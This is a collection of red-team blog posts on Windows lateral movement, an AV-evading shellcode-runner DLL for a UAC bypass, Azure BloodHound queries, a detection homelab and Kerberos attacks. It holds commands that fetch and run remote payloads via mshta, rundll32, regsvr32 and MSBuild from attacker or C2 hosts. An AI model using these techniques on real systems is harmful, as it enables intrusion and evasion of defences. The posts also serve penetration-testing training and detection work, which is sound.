schtasks /run /tn ExampleTask /S host.domain Then delete the job (opsec!) shell schtasks /F /delete /tn ExampleTask /S host.domain # MSBuild While not a lateral movement technique, it was discovered in 2016 by Casey Smith that MSBuild.exe can be used in conjunction with some of the above methods in order to avoid dropping encoded Powershell commands or spawning cmd.exe. MSBuild.exe is a Microsoft signed executable that comes installed with the .NET framework package. MSBuild is used to compile/build C# applications via an XML file which provides the schema. From an attacker perspective, this is used to compiled C# code to generate malicious binaries or payloads, or even run a payload straight from an XML file. MSBuild also can compile over SMB, as shown in the syntax below C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\host.domain\path\to\XMLfile.xml ###### XML Template: https://gist.githubusercontent.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17/raw/df62c7256701d486fcd1e063487f24b599658a7b/shellcode.xml What doesn’t work: wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\LAB2012DC01.LAB.local\C$\Windows\Temp\build.xml"

Trying to use wmic to call msbuild.exe to build an XML over SMB will fail because of the double-hop problem. The double-hop problem occurs when a network-logon (type 3) occurs, which means credentials are never actually sent to the remote host. Since the credentials aren’t sent to the remote host, the remote host has no way of authenticating back to the payload hosting server. In Cobalt Strike, this is often experienced while using wmic and the workaround is to make a token for that user, so the credentials are then able to be passed on from that host. However, without CS, there’s a few options to get around this:

1. Locally host the XML file (drop to disk)
copy C:\Users\Administrator\Downloads\build.xml \\LABWIN10.lab.local\C$\Windows\Temp\ wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Windows\Temp\build.xml" 1. Host the XML via WebDAV (Shown further below) 2. Use PsExec psexec \\host.domain -u Domain\Tester -p Passw0rd c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\host.domain\C$\Windows\Temp\build.xml"

In Cobalt Strike, there’s an Aggressor Script extension that uses MSBuild to execute Powershell commands without spawning Powershell by being an unmanaged process (binary compiled straight to machine code). This uploads via WMI/wmic.exe.

https://github.com/Mr-Un1k0d3r/PowerLessShell

The key indicator with MSBuild is that it’s executing over SMB and MSBuild is making an outbound connection.

MSBuild.exe calling the ‘QueryNetworkOpenInformationFile’ operation, which is an IOC.

# DCOM

Component Object Model (COM) is a protocol used by processes with different applications and languages so they communicate with one another. COM objects cannot be used over a network, which introduced the Distributed COM (DCOM) protocol. My brilliant co-worker Matt Nelson discovered a lateral movement technique via DCOM, via the ExecuteShellCommand Method in the Microsoft Management Console (MMC) 2.0 scripting object model which is used for System Management Server administrative functions.

It can be called via the following

[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")

DCOM uses network-logon (type 3), so the double-hop problem is also encountered here. PsExec eliminates the double-hop problem because credentials are passed with the command and generates an interactive logon session (Type 2), however, the problem is that the ExecuteShellCommand method only allows four arguments, so if anything less than or more than four is passed in, it errors out. Also, spaces have to be their own arguments (e.g. “cmd.exe”,$null,”/c” is three arguments), which eliminates the possibility of using PsExec with DCOM to execute MSBuild. From here, there’s a few options. 1. Use WebDAV 2. Host the XML file on an SMB share that doesn’t require authentication (e.g. using Impacket’s SMBServer.py, but most likely requires the attacker to have their attacking machine on the network) 3. Try other similar ‘ExecuteShellCommand’ methods With WebDAV, it still utilizes a UNC path, but Windows will eventually fall back to port 80 if it cannot reach the path over 445 and 139. With WebDAV, SSL is also an option. The only caveat to this is the WebDAV does not work on servers, as the service does not exist on server OSs by default. [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe",$null,"\\192.168.10.131\webdav\build.xml","7")

This gets around the double-hop problem by not requiring any authentication to access the WebDAV server (which in this case, is also the C2 server).

As shown in the video, the problem with this method is that it spawns two processes: mmc.exe because of the DCOM method call from MMC2.0 and MSBuild.exe.

In addition, this does write to disk temporarily. Webdav writes to

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

and does not clean up any files after execution. MSBuild temporarily writes to

C:\Users\[USER]\AppData\Local\Temp\[RANDOM]\

and does clean up after itself. The neat thing with this trick is that since MSBuild used Webdav, MSbuild cleans up the files Webdav created.

Not necessarily a lateral movement technique, it’s worth noting that you can instead spawn your own binary instead of using Cobalt Strikes built-ins, which (could be) more stealthy. This works by having upload privileges over SMB (i.e. Administrative rights) to the C$share on the target, which you can then upload a stageless binary to and execute it via wmic or DCOM, as shown below. Notice the beacon doesn’t “check in”. It needs to be done manually via the command link target.domain Without CS: copy C:\Windows\Temp\Malice.exe \\target.domain\C$\Windows\Temp

# Other Code Execution Options

There’s a few more code execution options that are possible, that require local execution instead of remote, so like MSBuild, these have to be paired with a lateral movement technique.

## Mshta

Mshta.exe is a default installed executable on Windows that allows the execution of .hta files. .hta files are Microsoft HTML Application files and allow execution of Visual Basic scripts within the HTML application. The good thing about Mshta is that allows execution via URL and since it’s a trusted Microsoft executable, should bypass default app-whitelisting.

mshta.exe https://malicious.domain/runme.hta

## Rundll32

This one is relatively well known. Rundll32.exe is again, a trusted Windows binary and is meant to execute DLL files. The DLL can be specified via UNC WebDAV path or even via JavaScript

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"

Since it’s running DLLs, you can pair it with a few other ones for different techniques:

• URL.dll: Can run .url (shortcut) files; Also can run .hta files
• rundll32.exe url.dll,OpenURL "C:\Windows\Temp\test.hta"
• ieframe.dll: Can run .url files
• Example .url file:
[InternetShortcut]
URL=file:///c:\windows\system32\cmd.exe
• shdocvw.dll: Can run .url files as well

## Regsvr32

Register Server is used to register and unregister DLLs for the registry. Regsrv32.exe is a signed Microsoft binary and can accept URLs as an argument. Specifically, it will run a .sct file which is an XML document that allows registration of COM objects.

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Read Casey Smith’s writeup for more in-depth explanation.

# Conclusion

Once again, this list is not comprehensive, as there’s more techniques out there. This was simply me documenting a few things I didn’t know and figuring out how things work under the hood. When learning Cobalt Strike I learned that the built-ins are not OpSec friendly which could lead to the operator getting caught, so I figured I’d try to at least document some high level IOCs. I encourage everyone to view the MITRE ATT&CK Knowledge Base to read up more on lateral movement and potential IOCs. Feel free to reach out to me on Twitter with questions, @haus3c

# Creating a Red & Blue Team Homelab

Over the years of penetration testing, red teaming, and teaching, I (and I’m sure a lot of others) are often asked how to get started in infosec. More specifically, how to become a pentester/red teamer or threat hunter/blue teamer. One of the things I always recommend is to build out a lab so you can test TTPs (techniques, tactics, procedures) and generate IOCs (indicators of compromise) so that you can understand how an attack works and what noise it generates, with the aim of being either to detect that attack or modify it so it’s harder to detect. It’s not really an opinion, but a matter of fact, that being a better blue teamer will make you a better red teamer and vice-versa. In addition, one of the things that I ask in an interview and have always been asked in an interview, is to describe what your home lab looks like. It’s almost an expectation as it is so crucial to be able to experiment with TTPs in a non-production environment. This post is aimed to help you create a home lab that will allow you to both do red team and blue team activity.

## Hardware

One of the first questions that’s asked about a home lab is the cost. There’s a few ways to answer this.

1. Host everything locally on your PC/laptop.
2. Host everything on a dedicated server
3. Host everything in the cloud

The other question is what is the necessary size of the lab? Home-labs do not have to replicate the size of an enterprise company. My home lab is setup as shown below, which is what will act as a template for this post.

In my person lab I run two Windows Servers and three Windows workstations. You could absolutely just have one server and one workstation, it’s just a matter of what you’re trying to accomplish. So, to answer the question of “what will it cost”, the answer is “it depends”. Personally I use a computer to act as a server which cost me about $400 to build which runs ESXI 7 to host all the VMs. Cloud could initially be cheaper, but in the long run it will probably cost more. I used to run everything locally on my work PC but I started to run out of disk space with all the VMs. As far as this guide goes, however you choose to host your VMs is up to you. Hosting OS links: Server Operating Systems: ESXI 7 Hyper-V Workstation Applications: VMWare Workstation Player Virtual Box Cloud: AWS Azure ## Architecture How your lab is architected/laid out is a big deal. You want to mimic a real environment as much as possible which is why I suggest building a lab that runs Window’s Active Directory (AD). I don’t think I’ve been in an environment where AD was not being used. We will start by using Windows evaluation licenses. Windows 10 Windows Server 2019 And we will use Debian 10 to build an ELK (Elasticsearch, Logstash, Kibana) server. Debian 10 Finally, for our attacking machine and for simplicity we will just use Kali Kali Linux ## ELK Setup Before setting up Windows, we will set up an ELK server. ELK (Elasticsearch, Logstash, Kibana) is a widely used platform for log processing. As a blue teamer, you want this because digging through logs is a key piece to threat hunting. As a red teamer, you want this to know what IOCs are generated from the TTPs you use. Keep in mind this lab is meant to be for internal, private use only. The setup of these servers will not be secure and should not be used in a production environment. Start off by downloading the Debian 10 ISO and then create a VM to boot off the ISO. I won’t go into the specifics on creating a VM as it’s platform specifics (e.g. VirtualBox, VMWare, etc.), but there’s a good article here for VMWare. Once you install Debian and log in, you’ll want to first add your current user to the sudoers group. First, escalate to root: sudo su Then add your user to the sudoers group. sudo usermod -aG [username] Then switch back to your user su [username] Next, add the GPG key for the Elastic repository wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - And add the repository definition echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list Now update apt sudo apt-get update And install logstash sudo apt-get install logstash Then Java sudo apt-get install openjdk-11-jre Then install Elasticsearch sudo apt-get install elasticsearch and finally Kibana sudo apt-get install kibana Next is to enable services sudo /bin/systemctl enable elasticsearch.service && sudo /bin/systemctl enable kibana.service && sudo /bin/systemctl enable logstash.service Before we start the services, there’s a few config changes we need to make. sudo nano /etc/kibana/kibana.yml Uncomment server.host and set the IP to 0.0.0.0 to listen on all interfaces and uncomment server.port. You can leave the port to 5601. Save the file (ctrl+O, Enter, ctrl+x) and now edit the elasticsearch config file sudo nano /etc/elasticsearch/elasticsearch.yml Set the network.host line to 0.0.0.0 and http.port to 9200 And add an additional line at the bottom discovery.type: single-node Save the file (ctrl+O, Enter, ctrl+x) And start the services sudo service logstash start sudo service elasticsearch start sudo service kibana start Now if you browse to your Debian machine’s IP on port 5601 you should see Kibana. ip addr ## Windows Setup Once again, I will not be showing how to deploy a VM as I want this post to be platform agnostic. So for setting up Windows, this will be under the impression you have stood up a Windows 2019 Server and Windows 10 machine. In this section we will create an Active Directory lab by making a Domain Controller and Workstation. Windows Server 2019 Once Server 19 is stood up, the first thing you should do is set a static IP. If you don’t, the machine’s IP can change which will break the environment. For reference, these are my settings. The import part here is setting the DNS servers. The preferred DNS will be localhost (127.0.0.1) as we will install the DNS service on the machine in a moment. Then setting Google’s DNS server as a secondary so it can reach the internet (optional, completely OK if you do not want your lab to reach the internet). Next, rename the server to something more conventional. I named mine PRIMARY as it will act as the primary domain controller in the environment. Reboot the server for the new settings to take effect. Once rebooted, you should have the server manager dashboard. Click on ‘Add roles and features’ Click next until you get to ‘Server Roles’. Add DNS and Active Directory Domain Servers Click next until it asks for confirmation, then click install. After it installs, the server dashboard will have a notification. Click on it and click ‘Promote this server to a domain controller’ Once you click promote, it will bring up another window. Click ‘Add a new forest’ and give the domain a name. I named mine ‘LAB.LOCAL’ Next, leave the default functional levels (Unless you’re adding a 2012, 2008, or 2003 server, then change it to those). Then set the DSRM password to something you’ll remember. Click next until you get to the prerequisite check, then click ‘install’. Once done, reboot the server. Once rebooted, in the Server Dashboard, click on Tools>ADUC (Active Directory Users and Computers) ADUC is used to manage users, groups, and computers (among other things). In this instance we just want to create a new user and assign them to the Domain Administrator role. In ADUC, click on your domain on the left then select ‘Users’. At the top, click the icon shown below to create a new user. Give them a name where you can identify them as an administrator by their name. Commonly in environments, they have ADM, ADMIN, -A, or some moniker to signify it’s a privileged account. Once created, right click on that user in ADUC and click ‘Add to a group’ Then type in ‘Domain Admins’ and select ‘OK’. Once the user is added to the Domain Admins group, switch over to the Windows 10 workstation. Once again, I will assume the provisioning of the machine was already done and it is able to communicate with the domain controller. A simple test is to ping the Domain Controller’s IP and ensure they can talk to each other on the network. On the Windows 10 machine, edit the DNS settings to include your Domain Controller’s IP address. Below is a shown example. Click on the Windows icon, type in ‘join domain’ and open up ‘Access work or school’. Click on the ‘Connect’ button and then click ‘join this device to a local Active Directory domain’. Enter the FQDN (Fully qualified domain name) of your domain and click ‘next’. Note: If you get an error saying the domain was unable to be found, double check your DNS settings and ensure the Windows 10 machine can reach the Domain Controller. You will then be prompted for credentials. This is where you will input your newly created Domain Administrator’s credentials. Reboot the PC and it will then be joined to the domain. ## Winlogbeat Now that we have a workstation and domain controller as well as an ELK server, we need to configure our two Windows machines to send logs to the ELK server. To do this, we need a program called ‘Winlogbeat‘. In addition, I recommend also installing Sysmon. Download the .zip file for Winlogbeat and unzip it to a folder inside one of the Windows machines. Open a PowerShell window and navigate to the Winlogbeat directory in PowerShell. Run the following command Set-ExecutionPolicy bypass Select [a] when prompted Then run the script .\install-service-winlogbeat.ps1 Next, open “winlogbeat.yml” in Notepad. Copy+paste the following while changing the “hosts” IPs to match your ELK’s server IPs. ======================= Winlogbeat specific options ========================== winlogbeat.event_logs: name: Application ignore_older: 30m name: Security ignore_older: 30m name: System ignore_older: 30m name: Microsoft-windows-sysmon/operational ignore_older: 30m name: Microsoft-windows-PowerShell/Operational ignore_older: 30m event_id: 4103, 4104 name: Windows PowerShell event_id: 400,600 ignore_older: 30m name: Microsoft-Windows-WMI-Activity/Operational event_id: 5857,5858,5859,5860,5861 output.elasticsearch: hosts: ["ELKIPHERE:9200"] username: "elastic" password: "changeme" setup.kibana: host: "ELKIPHERE" Then start the winlogbeat service Start-Service winlogbeat Once the service is started you can verify that the connection works by running .\winlogbeat setup -e Click the drop down menu on the side and under ‘Analytics’ and go to ‘Discover’. You should now be seeing Windows logs. Ensure that the time is synchronized properly within your lab as those are the times that will be reflected with the logs in Kibana. Otherwise, you can set your time filter to a different time. Your basic detection lab is now ready to go! As said earlier, I recommend installing Sysmon on the Windows hosts to get detailed events out of them. # AzureHound Cypher Cheatsheet List of Cypher queries to help analyze AzureHound data. Queries under ‘GUI’ are intended for the BloodHound GUI (Settings>Query Debug Mode). Queries under ‘Console’ are intended for the Neo4j console (usually located at http://localhost:7474). Download the ‘Custom Queries’ json file here: https://github.com/hausec/Bloodhound-Custom-Queries ## GUI Return All Azure Users that are part of the ‘Global Administrator’ Role MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p Return All On-Prem users with edges to Azure MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p Find all paths to an Azure VM MATCH p = (n)-[r]->(g:AZVM) RETURN p Find all paths to an Azure KeyVault MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p Return All Azure Users and their Groups MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p Return All Azure AD Groups that are synchronized with On-Premise AD MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n Find all Privileged Service Principals MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p Find all Owners of Azure Applications MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p ## Console Return All Azure Users MATCH (n:AZUser) return n.name Return All Azure Applications MATCH (n:AZApp) return n.objectid Return All Azure Devices MATCH (n:AZDevice) return n.name Return All Azure Groups MATCH (n:AZGroup) return n.name Return all Azure Key Vaults MATCH (n:AZKeyVault) return n.name Return all Azure Resource Groups MATCH (n:AZResourceGroup) return n.name Return all Azure Service Principals MATCH (n:AZServicePrincipal) return n.objectid Return all Azure Virtual Machines MATCH (n:AZVM) return n.name Find All Principals with the ‘Contributor’ role MATCH p = (n)-[r:AZContributor]->(g) RETURN p # Using a C# Shellcode Runner and ConfuserEx to Bypass UAC I was recently on an engagement where we phished in and ran into UAC which gave me more trouble than I expected. When a user logs onto Windows, a logon session is created and the credentials are tied into an authentication package inside of the logon session. Whenever a process wants to act as a user or use the user’s credentials, it uses a token. These tokens are tied to the logon sessions and ultimately determine how the credential is used. In the case of User Access Control (UAC) and Administrative users, the token is effectively split into two levels. Tokens have different integrity levels: • Low – Very restrictive, commonly used in sandboxing • Medium – Regular user • High – Administrative privileges • System – SYSTEM privileges UAC splits the Administrative user’s token into a medium and a high integrity token. When that user tries to run something as an administrator, a prompt is shown which they must accept, which then the high integrity token is then applied to that process or thread. A UAC bypass is going from the Administrative user’s medium integrity token to high integrity token without having to interact with the prompt. In Cobalt Strike, this can be observed in a medium integrity context by typing get privs.In addition, the user will not have an asterisk * next to their name. UAC Bypasses are not anything new and have existed for quite sometime, an exhaustive list can be found here: https://github.com/hfiref0x/UACME#usage Tons of PowerShell scripts and some C# tools exist around using some of these techniques in order to bypass UAC. There’s even Cobalt Strike Aggressor scripts to automate it for you. A lot of the UAC bypasses in the aforementioned page have been remediated, however there’s still a few that exist. One that I’m particular of is my from my co-worker’s, @enigma0x3 & @mattifestation, research which DLL hijacks the ‘SilentCleanup’ scheduled task, which more can be read about here: https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/ The problem I ran into, was these tools and scripts leveraged the built-in payload generator in Cobalt Strike, which always immediately get picked up by AV and EDRs. My goal then was to find out a way to generate a DLL that can run shellcode and not be picked up by AV. Finding a specific shellcode runner that spits out a DLL turned up short, however since EXEs and DLLs are both PEs, I figured I could just modify an existing shellcode runner to compile into a DLL. After a bit of tinkering with quite a few shellcode runners, I ended up using one of my co-worker’s, @djhohenstein, projects, CSharp SetThreadContext. which stemmed from @_xpn_‘s work here. The beauty of this project is that it automatically determines an executable to spawn into, which avoids Get-InjectedThread. After struggling for a bit on how to get the project to compile a working .DLL instead of an .EXE, I (once again) stumbled upon @_xpn_‘s work here. The TL;DR of it, is there is a NuGet package that will automatically export a function from the project so an entry point is available when called with rundll32.exe. Keep in mind this is for 64-bit architecture. First, generate the payload using Cobalt Strike (or whatever C2 you prefer). Follow Dwight’s instructions on generating the encrypted.bin file here. Build the .EXE, which is the default output type, and ensure that it successfully works and establishes a beacon. Next, install the NuGet package ‘DllExport’ by right clicking on the solution an selecting ‘Manage NuGet Packages for Solution…’ Click on ‘Browse’ and search for ‘DllExport’, then install the package. Once it finishes installing, it will run a .bat file to set up the DLL Export type. Ensure that the ‘Runner’ project is selected, then ensure the settings match the ones pictured below. Once setup, it will ask to reload the project, which choose ‘Yes’ to. Next, add the DllExport attribute right before the Main function. At the same time, clear the Main function’s argument. The next steps are import to ensure the DLL is generated in the correct architecture or else the code will not run. I probably spent more time on this part than what was necessary. At the top of Visual Studio, click the drop down menu where it says ‘Any CPU’ and click on ‘Configuration Manager’ Change the ‘Active Solution platform’ to x64 To the left of the configuration manager menu, change the build to ‘Release’. Next, right click on ‘Runner’ in the solution explorer and click on ‘Properties’. Change the Output type to ‘Class Library’. Next, click on the ‘Build’ tab on the left, and check “Optimize code” Now you can right click on ‘Runner’ in the solution explorer and select ‘Build’ to build the .DLL. The working DLL will be placed in \CSharpSetThreadContext\Runner\bin\Release\x64\Runner.dll Author’s Note: I’m not sure why it requires so much finessing, but I’m open to any optimizations or explanations if anyone knows. Specifically, only the DLL in the \x64\ directory will work, for some reason the one that’s under \Release\ does not contain the entrypoint that should be generated by [DllExport], even though it’s built at the same time as the one in \x64\. You can then run the DLL (ensure it’s the one in the x64 directory) rundll32.exe .\Runner.dll,Main Now that we have a working DLL shellcode runner, we can run it through ConfuserEx to perform basic AV evasion on it. With a working DLL shellcode runner that will bypass AV (Defender at least), we can then use it for a UAC Bypass. For the actual bypass, I use @chryzsh‘s Aggressor script here which includes an edited version of the C# binary located here. I once again use ConfuserEx on that binary to evade AV (again, at least Defender). The last step is to edit the Aggressor script to not create the built-in Cobalt Strike Payload and upload it. Also change the function after \\temp.dll from ‘Start’ to ‘Main’. Rename Runner.dll to temp.dll (Or edit the Aggressor script to execute whatever name you want) and upload it to “C:\Users\[User]”. Finally, string it all together to form a UAC bypass. Credits & Acknowledgements # Kerberosity Killed the Domain: An Offensive Kerberos Overview Kerberos is the preferred way of authentication in a Windows domain, with NTLM being the alternative. Kerberos authentication is a very complex topic that can easily confuse people, but is sometimes heavily leveraged in red team or penetration testing engagements, as well as in actual attacks carried out by adversaries. Understanding how Kerberos works legitimately is essential to understanding the potential attack primitives against Kerberos and how attackers can leverage it to compromise a domain. This article is intended to give an overview of how Kerberos works and some of the more common attacks associated with it. # Overview Kerberos revolves around objects called ‘tickets’ for authentication. There’s two types of tickets: • Ticket-Granting-Ticket (TGT) • Ticket-Granting-Service (TGS, also called a ‘service ticket’) When a user logs into Windows on a domain-joined computer, the password they input is hashed and used as a key to encrypt a timestamp which is sent to the Key-Distribution Center (KDC), which is located on the domain controller. This encrypted timestamp is then sent as an AS-REQ (Authentication Server Request). The KDC then verifies the user’s credentials by decrypting the request with the user’s password hash in AD and verifying the timestamp is within acceptable limits. The KDC then responds with an AS-REP (Authentication Server Reply). The AS-REP contains the TGT encrypted with the KRBTGT’s key (password hash) as well as some other data encrypted with the user’s key. The KRBTGT account is an account that is created when promoting a DC for the first time and is used by Kerberos for authentication. Compromising the KRBTGT account password has very serious implications to it, which will be covered later. Now that the user is authenticated in the domain, they still need access to services on the computer they’re logging into. This is accomplished by requesting a service ticket (TGS) for a service principal via TGS-REQ. A service principal is represented through its service principal name (SPN). There’s many SPNs, a majority of which can be found here. For accessing the actual machine, the SPN ‘HOST’ is requested. HOST is the principal that contains all the built-in services for Windows. A TGS contains a Privileged Attribute Certificate (PAC). The PAC is what contains information about the user and their memberships, as shown in figure 3. The GroupIDs are what the service looks at to determine if that user has access to it. In order to prevent tampering, the TGS is encrypted using the target service’s password hash. In the case of HOST/ComputerName, this would be the machine account password hash. The reason account password hashes are used to encrypt/decrypt tickets is because those are the only shared secrets between the account and the KDC/Domain controller. Once the TGS is received, via TGS-REP, the target service decrypts the ticket with it’s password hash (in this case, it’s the computer account’s password hash) and looks in the TGS’s PAC to see if the appropriate group SIDs are present, which determines access. The key distinction with service tickets, is that the KDC does the authentication (TGT) where the service does the authorization (PAC in the TGS). Once confirmed, the user is allowed to access the HOST service principal and the user is then logged into their computer. This entire logon process can be viewed in Wireshark when capturing a login process for another user. In figure 5, the first AS-REQ is responded with ‘KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED’. Prior to Kerberos version 5, Kerberos would allow authentication without a password. In Version 5, it does require a password, which is called Pre-Authentication. Presumably for backwards compatibility reasons, Kerberos tries to authenticate without a password first, before using Pre-Authentication, which is why there’s always an error after the initial AS-REQ during a logon. This leads in to the first attack that will be covered, AS-REP Roasting. # AS-REP Roasting There is a setting in the Account options of a user within AD to not require Kerberos Pre-Authentication. Since a timestamp encrypted with the user’s password hash is used as an encryption key for an AS-REQ, if the KDC successfully reads the timestamp using the user’s password hash, as long as the timestamp falls within a few minutes of the KDC’s time, it issues the TGT via AS-REP. When Pre-authentication is not required, an attacker can send a fake AS-REQ which the KDC will immediately grant a TGT because there’s no password needed for verification. Since part of the AS-REP (apart from the TGT) contains data (a session key, TGT expiration time, and a nonce) that is encrypted with the user’s key (password hash), the password hash is able to be pulled from that request and cracked offline. More can be read here. In Rubeus, this can be accomplished with the asreproast function. # Kerberoasting When a TGS is issued, a timestamp + password hash for the service account is used to encrypt the TGS since the password is the shared secret between the service account and the KDC/DC. This is most commonly a service (such as HOST or CIFS) that is controlled by the computer, so the computer account password hash is used. In some cases, user accounts are created to be “service accounts” and registered as a service principal name. Since the KDC does not perform authorization for services, as that is the service’s job, any user can request a TGS for any service. This means that if a user “service account” is registered as an SPN, any user can request a TGS for that user which will be encrypted with the user account password hash. That hash can be extracted from the ticket and cracked offline. With Rubeus, this can be accomplish using the kerberoast function. # Golden Ticket As briefly mentioned earlier, when a TGT is issued, it is encrypted with the KRBTGT’s account password hash. The KRBTGT’s password, by default, is never set manually and thus is as complex as a machine accounts password. A golden ticket attack is when the KRBTGT password is compromised and an attacker forges a TGT. The RC4 hash of the KRBTGT password can be used with mimikatz to forge a ticket for any user without needing their password. # Silver Ticket Where a golden ticket is a forged TGT, a silver ticket is a forged TGS. The major opsec consideration with golden tickets is that there is a transaction that occurs within the KDC — a TGT is issued, which allows defenders to alert on these transactions and potentially catch golden ticket attacks. Silver tickets are much more stealthy because they never touch the KDC. Since a service ticket is being forged, knowledge of the target service’s password hash is needed, which in most cases will be the machine account password hash. In the case of service accounts with an SPN set, a silver ticket can be generated for that SPN. For example, if a service account is created under the username ‘MSSQLServiceAcct’ and registered for the MSSQLSVC principal, the SPN would be MSSQLSVC/MSSQLServiceAcct. If an attacker obtained that accounts password hash (via Kerberoasting or other means), it could then forge a TGS for that SPN and access the service that utilizes it (MSSQLSVC). In the case of certain services, such as CIFS, where an SPN for a user account (e.g. CIFS/Alice) is made, a silver ticket for CIFS using the user’s password will not work because the user does not control access to that service, the machine account does. In the example shown below, an attacker gained knowledge of the domain controller’s computer account hash and generated a silver ticket for CIFS to access it’s file system. One caveat to this attack, is PAC validation is a feature where the ticket will be sent to the KDC for verification, which could cause this attack to fail. # Delegation Attacks Kerberos utilizes something called ‘delegation’, which is when an account can essentially re-use, or “forward”, a ticket to another host or application. For example, in figure X, a user is logged into a web application which uses a SQL DB on another server. Instead of the web application’s service account having full access to the entire server the SQL DB is running on, delegation can be configured so that the service account on the web application server can only access the SQL service on the SQL server. In addition, the service account will be used for delegation, meaning it will access the SQL server on the user’s behalf and with that user’s ticket. This limits both the service account from having complete access to the SQL server, as well as ensuring only authorized users can access the SQL DB through the web application. There’s three main types of delegation, each with their own attack primitives: • Unconstrained • Constrained • Resource-Based Constrained (RBCD) ## Unconstrained Delegation Unconstrained Delegation is a very historic way of performing delegation, during Windows 2000. This is configured on the ‘Delegation’ tab of a computer object within AD. When a machine is configured for unconstrained delegation, any TGS that is sent to the host and contains an SPN, will be accompanied with a TGT and that TGT will be kept in memory for impersonation. The security implication with this, is that if an attacker is monitoring the memory for Kerberos ticket activity, once a TGS is sent to the host, the attacker can extract the TGT and re-use it. This can be taken a step further by coercing authentication from any machine in the domain to the unconstrained delegation host via the printer bug. The printer bug is a “feature” within the Windows Print System Remote Protocol that allows a host to query another host, asking for an update on a print job. The target host then responds by authenticating to the host that initiated the request, via TGS (which contains a TGT in the case of unconstrained delegation). What this means, is that if an attacker controls a machine with unconstrained delegation, they could use the printer bug to coerce a domain controller to authenticate to their controlled machine and extract the domain controller’s computer account TGT. This is possible using Rubeus and SpoolSample. An important final note is that domain controllers will always have unconstrained delegation enabled by default. ## Constrained Delegation Constrained delegation was introduced during Windows 2003 as an improvement to unconstrained delegation. The major change was that services are limited for an account/machine when impersonating a user (i.e. being delegated). Constrained delegation settings are located in the ‘delegation’ tab of an object within Active Directory Users and Computers This can also be checked across the domain by looking for the msDS-AllowedToDelegateTo property in accounts/machines via the PowerView function: Get-DomainUser USERNAME -Properties msds-allowedtodelegateto,useraccountcontrol Before using the attack, it’s essential to understand how constrained delegation legitimately works. Constrained delegation uses two main Kerberos extensions: S4U2Self and S4U2Proxy. @harmj0y covered the technical details here, but at a high level, S4U2Self allows an account to request a service ticket to itself on behalf of any other user (without needing their password). If the TRUSTED_TO_AUTH_FOR_DELEGATION bit is set, The TGS will then be marked as forwardable. Then the S4U2Proxy is leveraged by the delegated account by using the forwardable TGS to request a TGS to the specified SPN. This is accomplished by the MS-SFU Kerberos extension which allows a TGS to be requested with a TGS. Now that service 1 (HTTP/WebServiceAcct) has a ticket for service 2 (MSSQLSvc/SQLSA), service 1 presents that ticket to service 2, who then verifies if the user is allowed to access the service via SIDs within the PAC of the TGS. The attack primitive abuses the S4U2Self and S4U2Proxy extensions. If there is an SPN set in the msDS-AllowedToDelegateTo property for an account and the userAccountControl property contains the value for ‘TRUSTED_TO_AUTH_FOR_DELEGATION”, that account can impersonate any user to any service in that SPN. While it was explained that the S4U2Self extension allows a service to request a TGS to itself on behalf of any user, the additional part of the attack is that the sname (service name) field of the SPN in the (second) TGS is not protected, which allows an attacker to change that to be any service they desire. The full attack path then looks as followed: • Attacker Kerberoasts an account (WebSA) that has the msds-AllowedToDelegateTo property set with the SPN of MSSQLSvc/LABWIN10.LAB.local in the property, meaning WebSA can delegate other accounts to access the MSSQLSvc on LABWIN10.LAB.local. • Rubeus is used to automatically use the S4U2Self extension to request a TGS for the current user, WebSA, on behalf of the user ‘Admin’. The returned TGS is marked “forwardable”. • Rubeus then automatically uses the S4U2Proxy extension to use the MS-SFU extension and request a TGS for the delegated SPN, but changing the service portion to whatever the user specifies, e.g. instead of MSSSQLSvc/LABWIN10.LAB.local, it requests a TGS for HOST/LABWIN10.LAB.local. Since the service part is not verified, the TGS is returned as the user ‘Admin’ and SPN HOST/LABWIN10.LAB.local • The ticket is imported into memory and the user can now access HOST/LABWIN10 as the ‘Admin’ user, as specified in the TGS. One final note on constrained delegation: TRUSTED_TO_AUTH_FOR_DELEGATION is needed for S4U2Self, but not present by default when adding an SPN for delegation on an account. It can be be modified/added if you have the SeEnableDelegationPrivilege over a domain controller. ## Resource-Based Constrained Delegation Resource-Based Constrained Delegation (RBCD) is an improvement on constrained delegation and introduced with Windows Server 2012. The major change in delegation, is that instead of specifying an SPN in the ‘Delegation’ tab of an account, the delegation settings are now controlled by the resource instead. In the previous example with constrained delegation, this would mean that delegation is configured on the backend SQL service, instead of the web service account that delegates to the SQL service. Where constrained delegation sets the SPN in the msDS-AllowedToDelegateto property, RBCD uses the 